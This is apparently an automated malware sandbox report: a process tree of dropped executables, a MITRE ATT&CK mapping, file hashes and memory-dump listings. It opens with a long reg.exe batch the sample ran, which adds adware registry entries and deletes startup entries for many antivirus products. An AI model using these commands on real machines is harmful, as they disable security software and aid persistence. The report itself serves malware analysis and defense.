/reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg64.exe" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlls.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlservice.exe" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg.exe -boot" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=794" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32 Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64 Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64 )
4⤵
PID:2108

C:\Users\Admin\AppData\Local\Temp\F97B.exe
C:\Users\Admin\AppData\Local\Temp\F97B.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:940

C:\Windows\SysWOW64\cmd.exe
cmd /Q /C C:\Users\Admin\AppData\Local\Temp/s.bat
2⤵
- Drops startup file
PID:2500

C:\Users\Admin\AppData\Local\Temp\FB7F.exe
C:\Users\Admin\AppData\Local\Temp\FB7F.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:764

C:\Users\Admin\AppData\Local\Temp\FB7F.exe
C:\Users\Admin\AppData\Local\Temp\FB7F.exe
2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2140

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2140 -s 1476
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:4552

C:\Users\Admin\AppData\Local\Temp\1CA.exe
C:\Users\Admin\AppData\Local\Temp\1CA.exe
1⤵
- Executes dropped EXE
PID:1008

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1008 -s 732
2⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:1760

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1008 -s 744
2⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:3028

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1008 -s 844
2⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:4044

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1008 -s 880
2⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:2124

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1008 -s 832
2⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:188

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:1156

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:1812

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:2028

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:192

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:1276

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:1608

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:1112

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:2168

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:2476

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Disabling Security Tools

T1089

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Query Registry

T1012

Peripheral Device Discovery

T1120

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Runtimebroker.exe
MD5
4710cad4ef7196e4cddb126e70e58094

SHA1
acce1f47d643fc630cddece0dfd5df493b963c91

SHA256
87d77f198d287a93f890bd8eaa311d5190655aa2d4023c5a957fc9653389b04e

SHA512
2a2b70ba42923c34691fc96d0323181d1004979c64ab792f834f6fe18a785f3a6476f969c780ebc8d2d81f1cbfd3f335bc0a4a7e3e74fa248afbb64f97655d57

Download Submit
C:\ProgramData\Runtimebroker.exe
MD5
4710cad4ef7196e4cddb126e70e58094

SHA1
acce1f47d643fc630cddece0dfd5df493b963c91

SHA256
87d77f198d287a93f890bd8eaa311d5190655aa2d4023c5a957fc9653389b04e

SHA512
2a2b70ba42923c34691fc96d0323181d1004979c64ab792f834f6fe18a785f3a6476f969c780ebc8d2d81f1cbfd3f335bc0a4a7e3e74fa248afbb64f97655d57

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
MD5
6bf0e5945fb9da68e1b03bdaed5f6f8d

SHA1
eed3802c8e4abe3b327c100c99c53d3bbcf8a33d

SHA256
dda58fd16fee83a65c05936b1a070187f2c360024650ecaf857c5e060a6a55f1

SHA512
977a393fdad2b162aa42194ddad6ec8bcab24f81980ff01b1c22c4d59ac268bb5ce947105c968de1a8a66b35023280a1e7709dfea5053385f87141389ebecb25

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
fe387764b6f97c99a435ed6f833d4e71

SHA1
a308644e5296a162981d5bea88852a3a4ba544c9

SHA256
f8b316368cee8af044f943fd564f9645b5e2c63f4d5f0cbff14f9dc23250a48c

SHA512
517a2b054a533ed3a266836f54d608803d032bccda618a1efa1358f149ecf57f1577bb0067250dfe97275deb626b53187d910c00fb78466469095a9dba5e35a9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
4b34e880f4be1a152f3dd2c5f50297a4

SHA1
0f5d55ad80a97f52a0196f615f7160c4a1438afa

SHA256
176b2171d7d722fda35101ecbc9b290f4bf449dd0fb949e54420d8408ba39192

SHA512
4f391f792075e7ce956df9937d94f46b520b93d9acad76e6be2e7084d7b1a71cd4f41849f4f2148184c59a9ae5d4fca22cc8508eb904a421013056fe6048f295

Download Submit
C:\Users\Admin\AppData\Local\Temp\1CA.exe
MD5
6f1c3dfab2badbfccc465998474fd3e6

SHA1
a3bb8acc48e1d5e0f89e1f1d542db35252a26176

SHA256
3a3058d09218b1f26971c761309cbd818e5acccb7dfaa713674a846e1cbdfd33

SHA512
4d167c024540bc6c818351258c1bbd7af17f2b77cba3573dd9393a691fb3d3ff9697463d6fd25f5373c1e7607d3058765665be9878614bbec870a6b17d5bd4c9

Download Submit
C:\Users\Admin\AppData\Local\Temp\1CA.exe
MD5
6f1c3dfab2badbfccc465998474fd3e6

SHA1
a3bb8acc48e1d5e0f89e1f1d542db35252a26176

SHA256
3a3058d09218b1f26971c761309cbd818e5acccb7dfaa713674a846e1cbdfd33

SHA512
4d167c024540bc6c818351258c1bbd7af17f2b77cba3573dd9393a691fb3d3ff9697463d6fd25f5373c1e7607d3058765665be9878614bbec870a6b17d5bd4c9

Download Submit
C:\Users\Admin\AppData\Local\Temp\F310.exe
MD5
a69e12607d01237460808fa1709e5e86

SHA1
4a12f82aee1c90e70cdf6be863ce1a749c8ae411

SHA256
188e05efb42c1f7fdb5c910a6614f710a87ae642b23ac9ffe3f75246744865bc

SHA512
7533e6da6bac0405fc8b608da8020b54b6ee02592e6fd40ea342e130a8a876ae5ef4a1fd636d95e76339dbf8be45cecbd22ca2d0a4635b055ffafec3d7e15284

Download Submit
C:\Users\Admin\AppData\Local\Temp\F310.exe
MD5
a69e12607d01237460808fa1709e5e86

SHA1
4a12f82aee1c90e70cdf6be863ce1a749c8ae411

SHA256
188e05efb42c1f7fdb5c910a6614f710a87ae642b23ac9ffe3f75246744865bc

SHA512
7533e6da6bac0405fc8b608da8020b54b6ee02592e6fd40ea342e130a8a876ae5ef4a1fd636d95e76339dbf8be45cecbd22ca2d0a4635b055ffafec3d7e15284

Download Submit
C:\Users\Admin\AppData\Local\Temp\F718.exe
MD5
4710cad4ef7196e4cddb126e70e58094

SHA1
acce1f47d643fc630cddece0dfd5df493b963c91

SHA256
87d77f198d287a93f890bd8eaa311d5190655aa2d4023c5a957fc9653389b04e

SHA512
2a2b70ba42923c34691fc96d0323181d1004979c64ab792f834f6fe18a785f3a6476f969c780ebc8d2d81f1cbfd3f335bc0a4a7e3e74fa248afbb64f97655d57

Download Submit
C:\Users\Admin\AppData\Local\Temp\F718.exe
MD5
4710cad4ef7196e4cddb126e70e58094

SHA1
acce1f47d643fc630cddece0dfd5df493b963c91

SHA256
87d77f198d287a93f890bd8eaa311d5190655aa2d4023c5a957fc9653389b04e

SHA512
2a2b70ba42923c34691fc96d0323181d1004979c64ab792f834f6fe18a785f3a6476f969c780ebc8d2d81f1cbfd3f335bc0a4a7e3e74fa248afbb64f97655d57

Download Submit
C:\Users\Admin\AppData\Local\Temp\F97B.exe
MD5
b19ac380411ed5d8b5a7e7e0c1da61a6

SHA1
9665c20336a5ce437bbf7b564370bfa43e99954c

SHA256
aba88a19b2f6e2cf9a6a41ab8661d83c433acec363028f58dd74d37e335c7619

SHA512
73b4e3555cf9496a7138a2c7071ed81a754493afaf15f604a305f3eb051ed72645731a6174b0934f24371dbe5bd8c0185516f87778a018d84df4fff8aea0c208

Download Submit
C:\Users\Admin\AppData\Local\Temp\F97B.exe
MD5
b19ac380411ed5d8b5a7e7e0c1da61a6

SHA1
9665c20336a5ce437bbf7b564370bfa43e99954c

SHA256
aba88a19b2f6e2cf9a6a41ab8661d83c433acec363028f58dd74d37e335c7619

SHA512
73b4e3555cf9496a7138a2c7071ed81a754493afaf15f604a305f3eb051ed72645731a6174b0934f24371dbe5bd8c0185516f87778a018d84df4fff8aea0c208

Download Submit
C:\Users\Admin\AppData\Local\Temp\FB7F.exe
MD5
5707ddada5b7ea6bef434cd294fa12e1

SHA1
45bb285a597b30e100ed4b15d96a29d718697e5e

SHA256
85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

SHA512
91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

Download Submit
C:\Users\Admin\AppData\Local\Temp\FB7F.exe
MD5
5707ddada5b7ea6bef434cd294fa12e1

SHA1
45bb285a597b30e100ed4b15d96a29d718697e5e

SHA256
85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

SHA512
91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

Download Submit
C:\Users\Admin\AppData\Local\Temp\FB7F.exe
MD5
5707ddada5b7ea6bef434cd294fa12e1

SHA1
45bb285a597b30e100ed4b15d96a29d718697e5e

SHA256
85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

SHA512
91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

Download Submit
C:\Users\Admin\AppData\Local\Temp\s.bat
MD5
45fc169a01555cf9ec32d6cd1562128c

SHA1
435878007329222c38a70925182b3fcdd85f7853

SHA256
4324f59fcc66441a467ce7040e40374cc5676364bce9dedff2f265ee26e79040

SHA512
803a24f89ee26a3171b21de600f6c89b1f2fb1f258463566c0905b1dacc03b6744cc5236d36ab4991711c43a2ea975fe70f1602226af5f2a795374285c8f76bb

Download Submit
\Users\Admin\AppData\LocalLow\sqlite3.dll
MD5
f964811b68f9f1487c2b41e1aef576ce

SHA1
b423959793f14b1416bc3b7051bed58a1034025f

SHA256
83bc57dcf282264f2b00c21ce0339eac20fcb7401f7c5472c0cd0c014844e5f7

SHA512
565b1a7291c6fcb63205907fcd9e72fc2e11ca945afc4468c378edba882e2f314c2ac21a7263880ff7d4b84c2a1678024c1ac9971ac1c1de2bfa4248ec0f98c4

Download Submit
memory/188-118-0x0000000000000000-mapping.dmp

Download
memory/192-160-0x0000000000480000-0x0000000000489000-memory.dmp

Filesize
36KB

Download
memory/192-159-0x0000000000000000-mapping.dmp

Download
memory/192-161-0x00000000001F0000-0x00000000001FF000-memory.dmp

Filesize
60KB

Download
memory/656-114-0x0000000000030000-0x000000000003A000-memory.dmp

Filesize
40KB

Download
memory/764-134-0x0000000000230000-0x0000000000231000-memory.dmp

Filesize
4KB

Download
memory/764-146-0x0000000004C00000-0x00000000050FE000-memory.dmp

Filesize
5.0MB

Download
memory/764-129-0x0000000000000000-mapping.dmp

Download
memory/764-152-0x0000000004BC0000-0x0000000004BC1000-memory.dmp

Filesize
4KB

Download
memory/764-141-0x0000000004C00000-0x0000000004C01000-memory.dmp

Filesize
4KB

Download
memory/764-139-0x0000000005100000-0x0000000005101000-memory.dmp

Filesize
4KB

Download
memory/764-196-0x0000000004E00000-0x0000000004E21000-memory.dmp

Filesize
132KB

Download
memory/940-144-0x0000000000400000-0x0000000002D86000-memory.dmp

Filesize
41.5MB

Download
memory/940-167-0x0000000005270000-0x0000000005481000-memory.dmp

Filesize
2.1MB

Download
memory/940-168-0x0000000000400000-0x0000000002D86000-memory.dmp

Filesize
41.5MB

Download
memory/940-142-0x0000000003260000-0x00000000034A3000-memory.dmp

Filesize
2.3MB

Download
memory/940-126-0x0000000000000000-mapping.dmp

Download
memory/1008-136-0x0000000000000000-mapping.dmp

Download
memory/1008-147-0x0000000000400000-0x0000000002CA9000-memory.dmp

Filesize
40.7MB

Download
memory/1008-143-0x0000000004910000-0x00000000049A1000-memory.dmp

Filesize
580KB

Download
memory/1112-172-0x0000000000000000-mapping.dmp

Download
memory/1112-176-0x0000000003060000-0x0000000003069000-memory.dmp

Filesize
36KB

Download
memory/1112-175-0x0000000003070000-0x0000000003074000-memory.dmp

Filesize
16KB

Download
memory/1156-149-0x0000000002570000-0x00000000025DB000-memory.dmp

Filesize
428KB

Download
memory/1156-140-0x0000000000000000-mapping.dmp

Download
memory/1156-148-0x0000000002800000-0x0000000002874000-memory.dmp

Filesize
464KB

Download
memory/1276-162-0x0000000000000000-mapping.dmp

Download
memory/1276-164-0x0000000002C20000-0x0000000002C25000-memory.dmp

Filesize
20KB

Download
memory/1276-165-0x0000000002C10000-0x0000000002C19000-memory.dmp

Filesize
36KB

Download
memory/1608-174-0x0000000000BA0000-0x0000000000BAC000-memory.dmp

Filesize
48KB

Download
memory/1608-173-0x0000000000BB0000-0x0000000000BB6000-memory.dmp

Filesize
24KB

Download
memory/1608-169-0x0000000000000000-mapping.dmp

Download
memory/1764-192-0x0000000007520000-0x0000000007521000-memory.dmp

Filesize
4KB

Download
memory/1764-191-0x0000000006E40000-0x0000000006E41000-memory.dmp

Filesize
4KB

Download
memory/1764-206-0x0000000008D10000-0x0000000008D11000-memory.dmp

Filesize
4KB

Download
memory/1764-197-0x0000000007CB0000-0x0000000007CB1000-memory.dmp

Filesize
4KB

Download
memory/1764-207-0x00000000089B0000-0x00000000089B1000-memory.dmp

Filesize
4KB

Download
memory/1764-195-0x0000000007D40000-0x0000000007D41000-memory.dmp

Filesize
4KB

Download
memory/1764-194-0x0000000007590000-0x0000000007591000-memory.dmp

Filesize
4KB

Download
memory/1764-193-0x00000000075E0000-0x00000000075E1000-memory.dmp

Filesize
4KB

Download
memory/1764-190-0x0000000006D10000-0x0000000006D11000-memory.dmp

Filesize
4KB

Download
memory/1764-189-0x00000000068B2000-0x00000000068B3000-memory.dmp

Filesize
4KB

Download
memory/1764-187-0x00000000068B0000-0x00000000068B1000-memory.dmp

Filesize
4KB

Download
memory/1764-188-0x0000000006EF0000-0x0000000006EF1000-memory.dmp

Filesize
4KB

Download
memory/1764-186-0x0000000000D20000-0x0000000000D21000-memory.dmp

Filesize
4KB

Download
memory/1764-214-0x00000000068B3000-0x00000000068B4000-memory.dmp

Filesize
4KB

Download
memory/1764-183-0x0000000000000000-mapping.dmp

Download
memory/1764-208-0x0000000008A10000-0x0000000008A11000-memory.dmp

Filesize
4KB

Download
memory/1812-151-0x00000000003E0000-0x00000000003EC000-memory.dmp

Filesize
48KB

Download
memory/1812-145-0x0000000000000000-mapping.dmp

Download
memory/1812-150-0x00000000003F0000-0x00000000003F7000-memory.dmp

Filesize
28KB

Download
memory/2028-153-0x0000000000000000-mapping.dmp

Download
memory/2028-155-0x0000000003210000-0x000000000321B000-memory.dmp

Filesize
44KB

Download
memory/2028-154-0x0000000003220000-0x0000000003227000-memory.dmp

Filesize
28KB

Download
memory/2084-156-0x0000000000000000-mapping.dmp

Download
memory/2084-166-0x0000000000400000-0x0000000002C7C000-memory.dmp

Filesize
40.5MB

Download
memory/2084-163-0x0000000002C80000-0x0000000002D2E000-memory.dmp

Filesize
696KB

Download
memory/2108-492-0x0000000000000000-mapping.dmp

Download
memory/2140-201-0x0000000000400000-0x0000000000495000-memory.dmp

Filesize
596KB

Download
memory/2140-198-0x0000000000400000-0x0000000000495000-memory.dmp

Filesize
596KB

Download
memory/2140-199-0x000000000044003F-mapping.dmp

Download
memory/2168-177-0x0000000000000000-mapping.dmp

Download
memory/2168-179-0x00000000009F0000-0x00000000009F9000-memory.dmp

Filesize
36KB

Download
memory/2168-178-0x0000000000C80000-0x0000000000C85000-memory.dmp

Filesize
20KB

Download
memory/2476-181-0x0000000002960000-0x0000000002965000-memory.dmp

Filesize
20KB

Download
memory/2476-182-0x0000000002950000-0x0000000002959000-memory.dmp

Filesize
36KB

Download
memory/2476-180-0x0000000000000000-mapping.dmp

Download
memory/2500-170-0x0000000000000000-mapping.dmp

Download
memory/2728-132-0x0000000004880000-0x00000000048BB000-memory.dmp

Filesize
236KB

Download
memory/2728-133-0x0000000000400000-0x0000000002C7C000-memory.dmp

Filesize
40.5MB

Download
memory/2728-123-0x0000000000000000-mapping.dmp

Download
memory/3092-117-0x0000000000A60000-0x0000000000A76000-memory.dmp

Filesize
88KB

Download
memory/3108-115-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/3108-116-0x0000000000402E1A-mapping.dmp

Download
memory/4168-236-0x0000000006D83000-0x0000000006D84000-memory.dmp

Filesize
4KB

Download
memory/4168-228-0x0000000006D82000-0x0000000006D83000-memory.dmp

Filesize
4KB

Download
memory/4168-234-0x00000000099A0000-0x00000000099A1000-memory.dmp

Filesize
4KB

Download
memory/4168-227-0x0000000006D80000-0x0000000006D81000-memory.dmp

Filesize
4KB

Download
memory/4168-237-0x00000000094E0000-0x000000000963B000-memory.dmp

Filesize
1.4MB

Download
memory/4168-213-0x0000000000000000-mapping.dmp

Download
memory/4168-223-0x0000000007BD0000-0x0000000007BD1000-memory.dmp

Filesize
4KB

Download
memory/4168-226-0x00000000080C0000-0x00000000080C1000-memory.dmp

Filesize
4KB

Download
memory/4384-265-0x000000007F4E0000-0x000000007F4E1000-memory.dmp

Filesize
4KB

Download
memory/4384-259-0x0000000009090000-0x00000000090C3000-memory.dmp

Filesize
204KB

Download
memory/4384-267-0x0000000008E50000-0x0000000008E51000-memory.dmp

Filesize
4KB

Download
memory/4384-272-0x00000000091C0000-0x00000000091C1000-memory.dmp

Filesize
4KB

Download
memory/4384-278-0x00000000046A3000-0x00000000046A4000-memory.dmp

Filesize
4KB

Download
memory/4384-467-0x0000000004840000-0x0000000004841000-memory.dmp

Filesize
4KB

Download
memory/4384-473-0x0000000004830000-0x0000000004831000-memory.dmp

Filesize
4KB

Download
memory/4384-247-0x00000000046A2000-0x00000000046A3000-memory.dmp

Filesize
4KB

Download
memory/4384-245-0x00000000046A0000-0x00000000046A1000-memory.dmp

Filesize
4KB

Download
memory/4384-238-0x0000000000000000-mapping.dmp

Download